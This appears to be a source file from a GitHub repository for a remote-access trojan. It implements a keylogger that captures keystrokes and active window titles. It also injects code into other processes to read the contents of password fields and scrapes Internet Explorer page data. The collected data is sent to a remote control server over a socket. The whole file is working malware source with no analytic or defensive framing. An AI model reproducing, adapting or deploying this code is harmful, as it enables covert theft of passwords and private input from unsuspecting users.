-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathGetKeyNoHookProc.cpp
More file actions
194 lines (171 loc) · 5.77 KB
/
GetKeyNoHookProc.cpp
File metadata and controls
194 lines (171 loc) · 5.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include ".\getkeynohookproc.h"
#include ".\getkeynohook.h"
#include "ie.h"
CGetKeyNoHookProc::CGetKeyNoHookProc(void)
{
PreviousFocus = NULL;
memset(szIeText, 0, sizeof(szIeText));
memset(szPassText, 0, sizeof(szPassText));
}
CGetKeyNoHookProc::~CGetKeyNoHookProc(void)
{
}
bool CGetKeyNoHookProc::IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's Focus
bool ReturnFlag = false; // Declare The Return Flag
if (hFocus != PreviousFocus) // The Active Windows Has Change
{
PreviousFocus = hFocus; // Save The Old Active Windos Focus
ReturnFlag = TRUE;
}
return ReturnFlag; // Return The Flag
}// End Of IsWindowsFocusChange Function
void CGetKeyNoHookProc::OnCmd_GetDoWork(tagVipShellCmd* info)
{
tagVipShellCmd SendInfo;
SendInfo.dwCmd = 5;
m_hServer->Send(&SendInfo, sizeof(tagVipShellCmd));
}
struct tagRemoteFn
{
FARPROC pSendMessageW;
WCHAR szText[256];
HWND hwnd;
};
#define MAXINJECTSIZE (1024*4)
typedef int (__stdcall * PFN_SENDMESSAGE)(HWND, UINT , WPARAM, LPARAM );
DWORD WINAPI ThreadGetWindowText(LPVOID lp)
{
tagRemoteFn* pInfo = (tagRemoteFn*)lp;
PFN_SENDMESSAGE pSendMessageW = (PFN_SENDMESSAGE)pInfo->pSendMessageW;
pSendMessageW(pInfo->hwnd, WM_GETTEXT, 256, (LPARAM)pInfo->szText);
return 0;
}
bool GetRemoteHwndText(HWND hwnd, char* szText)
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd, &dwProcessId);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
// HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if(hProcess == NULL)
return false;
tagRemoteFn RemoteData;
HINSTANCE hLibDll = GetModuleHandle(L"User32.dll");
if(!hLibDll)
return false;
RemoteData.pSendMessageW = GetProcAddress(hLibDll, "SendMessageW");
RemoteData.hwnd = hwnd;
void *pRemoteThread = VirtualAllocEx(hProcess, 0, MAXINJECTSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (! pRemoteThread)
return false;
tagRemoteFn *pData = (tagRemoteFn*)VirtualAllocEx(hProcess, 0, sizeof (tagRemoteFn), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pData)
return false;
if (! WriteProcessMemory(hProcess, pRemoteThread, &ThreadGetWindowText, MAXINJECTSIZE, 0))
return false;
memset(RemoteData.szText, 0, sizeof(RemoteData.szText));
if (! WriteProcessMemory(hProcess, pData, &RemoteData, sizeof (tagRemoteFn), 0))
return false;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, NULL);
//HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ThreadGetWindowText, pData, 0, NULL);
if(!hThread)
return false;
WaitForSingleObject(hThread, 1000);
BOOL b = ReadProcessMemory(hProcess, pData, &RemoteData, sizeof (tagRemoteFn), 0);
VirtualFreeEx(hProcess, pRemoteThread, MAXINJECTSIZE, MEM_RELEASE);
VirtualFreeEx(hProcess, pData, sizeof (tagRemoteFn), MEM_RELEASE);
strcpy(szText, ATL::CW2A(RemoteData.szText));
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
BOOL CALLBACK EnumChildProc1( HWND hwnd,
LPARAM lParam
)
{
LONG lStyle = ::GetWindowLong(hwnd, GWL_STYLE);
if (lStyle & ES_PASSWORD)
{
char szText[256] = {0};
GetRemoteHwndText(hwnd, szText);
if(strlen(szText) != 0)
{
char szT[300] = {0};
sprintf(szT, "\r\nÃÜÂë:%s\r\n", szText);
strcat((char*)lParam, szT);
}
// ::GetWindowTextA(hwnd, szText, 256);
}
return TRUE;
}
void CGetKeyNoHookProc::OnCmd_GetKeyLog(tagVipShellCmd* info)
{
CoInitialize(NULL);
char szTextIe[400];
memset(KeyBuffer,0,sizeof(KeyBuffer));
CGetKeyNoHook hKey;
while(TRUE) // Forever Loop Is Taking Place Here
{
Sleep(1); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
if (IsWindowsFocusChange()) //Check The Active Windows Title
{
if (strlen(KeyBuffer) != 0) // Keys Are Pressed
{
int nRet = _SendBuffData((BYTE*)SendText, (DWORD)strlen(SendText));
if(nRet == SOCKET_ERROR)
return ;
// Display The Keys Pressed
strcat(KeyBuffer, "\r\n");
nRet = _SendBuffData((BYTE*)KeyBuffer, (DWORD)strlen(KeyBuffer));
memset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer
if(nRet == SOCKET_ERROR)
return ;
}
if(!m_hServer->IsOpened())
return ;
memset(SendText, 0, sizeof(SendText));
char WindowCaption[400] = "";
GetWindowTextA(PreviousFocus,WindowCaption,400); // Retrieve The Active Windows's Caption
if (strlen(WindowCaption) > 0) // Really Get The Windows's Caption
{
sprintf(SendText, "\r\nThe Active Windows Title: %s\r\n", WindowCaption); // Display The Active Windows's Caption
}
if(strlen(szIeText) != 0)
{
int nRet = _SendBuffData((BYTE*)szIeText, (DWORD)strlen(szIeText));
if(nRet == SOCKET_ERROR)
return ;
}
if(strlen(szPassText) != 0)
{
int nRet = _SendBuffData((BYTE*)szPassText, (DWORD)strlen(szPassText));
if(nRet == SOCKET_ERROR)
return ;
}
memset(szIeText, 0, sizeof(szIeText));
memset(szPassText, 0, sizeof(szPassText));
}
char* p;
int nRet = hKey.GetKeyVisual(&p);
if(p)
{
if(nRet == 8)
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then
else
{
EnumChildWindows(PreviousFocus, EnumChildProc1, (LPARAM)szPassText);
memset(szTextIe, 0, sizeof(szTextIe));
if( GetIeInfo(PreviousFocus, szTextIe, "ALL") )
{
if(strlen(szIeText) == 0)
strcpy(szIeText, "\r\n----------IE----------\r\n");
strcat(szIeText, szTextIe);
strcat(szIeText, "\r\n-------Î޵зָîÏß---------\r\n");
}
strcat(KeyBuffer, p);
}
}
}
CoUninitialize();
}